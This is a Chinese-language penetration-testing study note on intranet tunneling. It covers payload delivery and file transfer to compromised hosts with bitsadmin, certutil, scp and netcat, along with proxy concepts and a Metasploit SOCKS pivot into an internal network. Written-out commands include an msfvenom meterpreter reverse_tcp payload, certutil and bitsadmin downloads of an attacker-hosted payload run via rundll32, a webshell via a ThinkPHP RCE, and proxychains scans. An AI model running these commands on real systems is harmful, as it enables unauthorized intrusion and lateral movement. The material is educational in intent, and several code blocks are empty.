内网隧道
文件传输
windows下文件传输
Bitsadmin
这个是用于win接受就可以不一定需要linux挂载
我们可以通过这个命令将我们托管的payload下载下来
下面是我们的具体步骤
- 攻击者使用linux的apache服务挂载我们的payload
- 然后使用下在win直接下载就行了
演示
我已经将payload挂载到网络上,现在准备从win上载
1
bitsadmin /transfer shell http://ip/文件 本机目的地
然后运行payload
我这里是使用的
.hta
文件1
rundll32.exe url.dll,OpenURL .hta(目标文件)
然后就会在msf接收到新的会话
为了防止msf命令忘记,下面复习一下常用的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17msfconsole 进入msf
msfvenom 审生成payload
jobs 查看生成的监听器
handler 创建监听器
sessions -i session_id 进入到某个seesion
exit 退出监听,或者退出msf
### certutil
这个指令用于安装证书服务,也可以用于显示证书颁发机构的信息,备份和还原CA组件
下面就展示一下他的用法
1. 生成一个payload
```shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -f exe > test.exe将payload移动到apache目录
1
mv test.exe /var/www/html
使用certutil.exe下载
1
certutil.exe -urlcache -split -f http://ip/file myPath
启动payload
清除缓存
1
certutil.exe -urlcache -split -f http://ip/file myPath delete
linux和win的文件互传
scp
当用户的主机存在scp的话我们就可以使用这个
安装scp
主要是可能不会在win安装这个程序,所以问哦们需要安装
使用
1
2
3
4
5
6
7
8#scp下载文件
scp user@ip:file_path/file_name myfilename
#下载文件夹
scp -r user@ip:file_path/file_name myfilename/
#scp上传文件
scp myfilename user@ip:file_path/file_name
#scp下载文件夹
scp -r myfilename/ user@ip:file_path/file_name
建立共享文件
用于win之间传输文件
1 |
|
vbs脚本
编写一个脚本文件用于下载文件
linux下的文件传输
wget 下载
curl下载
就是一个服务工具
netcat
简单的讲是使用nc进行操作,nc也可以用于反弹shell
被攻击者被动
攻击者
1
cat payload | nc -lvvp port
被攻击者
1
nc ip port > payload
这个过程比较的缓慢,需要等一下
而且好了也不会停止,需要暂停了才知道
被攻击者主动
攻击者
1
nc ip port < payload
被攻击者
1
nc -lvvp port > payload
sftp
这个使用运用了ssh协议
dns传输数据
socks代理
代理
代理服务器就相当于一个转发信息的中间人
转发客户端和服务端的消息
正向代理
当我们无法访问的的时候我们就需要使用正向代理,来跨过防火墙
反向代理
可以理解为我们需要访问内网,但是现在只有反向代理服务器出网,所以我们使用这种方法来访问反向代理服务器,然后由反向代理服务器作为转发来连接服务内网服务器
这样来看我们可以可理解为反向代理服务器就是我们需要的资源服务器
现在使用最多的反向代理服务器是 NGINX
透明代理
而可以理解为,透明代理会帮助你筛选,如果你访问的是合理的就让你通过,如果不太合理,那么我们就不允许访问
客户端 A 和客户端 B 并不知道行为管理设备充当透明代理行为,当用户 A 或用户 B 向服务器 A 或服 务器 B 提交请求的时候,透明代理设备根据自身策略拦截并修改用户 A 或 B 的报文,并作为实际的请 求方,向服务器 A 或 B 发送请求,当接收信息回传,透明代理再根据自身的设置把允许的报文发回至 用户 A 或 B,如上图,如果透明代理设置不允许访问服务器 B,那么用户 A 或者用户 B 就不会得到服 务器 B 的数据。
socks
这个是一个协议,存在于应用层,可以理解为中间传递的方式。使用TCP/IP协议,因而不提供如传递ICMP信息之类的网络层网关服务。
如今大型的网络架构,利用网络防火墙搭建起内部网络与外部网络的屏障,这些防火墙通常以应用层网关的形式工作在网络之间。
而socks则通过框架来使这些协议安全透明地通过防火墙。
但是socks代理当中我们不能代理ping原因是ping 是使用的是ICMP协议,socks是使用的是TCP/IP协议
socks代理
被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;
SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有 协议限制;
SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问
SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后 客户端需要先发送请求来确认协议版本及认证方式,相对前面的版本这个版本当中支持的协议更多,相对前面更加的安全
socks代理和vpn的区别
vpn
vpn(Virtual Private Network,虚拟专用网络),可以通过公共网络
(互联网)建立起加密,私密的连接技术
主要是用于当处于外网的时候使用vpn访问公司内部的资料
socks5代理工具
- frp
- ProxyChains
socks代理实战一(MSF)
如何通过TTL判断是什么系统】
- win 128 255
- linux 64 255
- macos 64 128
信息收集
拿到了对方的IP我们可以做以下的信息收集
namp端收集
1 |
|
-A -p- 启动扫描所有的端口
-T4 速度(0->5) 慢到
根据结果我们可以使用nmap的扫描出来的结果针对不同的服务指定不同的攻击计划
针对21/22采用弱口令爆破
根据网站路径渗透
我们可以尝试使用不同的URL地址来测试是否可以登录
1 |
|
扫描url路径
路径利用
使用扫描出来的路径判断有哪些是可以使用的
爆破出来一个
根据框架利用漏洞
Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可GetShell
1 |
|
我们测试我们上传的一句话木马
使用连接工具连接
记得路径
但是这只是一个跳板机边缘
拿到跳板机后
查看网段
我们可以根据此网段发现其他的存活主机,就会遇到一个问题怎么获取其他存活的ip
但是有该主机上面不存在渗透工具,所以出现了socks代理
msf连接跳板机搭建socks代理
使用msf连接到会话(不展示)
使用run开启后渗透模块
1
2run autoroute -s 网段
run autoroute -h 使用帮助退回msf
使用代理模块
1
2use auxiliary/server/socks_proxy
options 查看对应的逻辑1
2run 启动这个模块
jobs 查看当前的运行的服务可以查看端口是否开启
配置代理攻击
1
sudo vim /etc/proxychains4.conf
端口要和绑定的一样
然后使用代理连接内网机
1
proxychains curl http://192.168.22.22
对内网机经行端口扫描
1
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22
由于代理不是很稳定,所以我们重新开启一下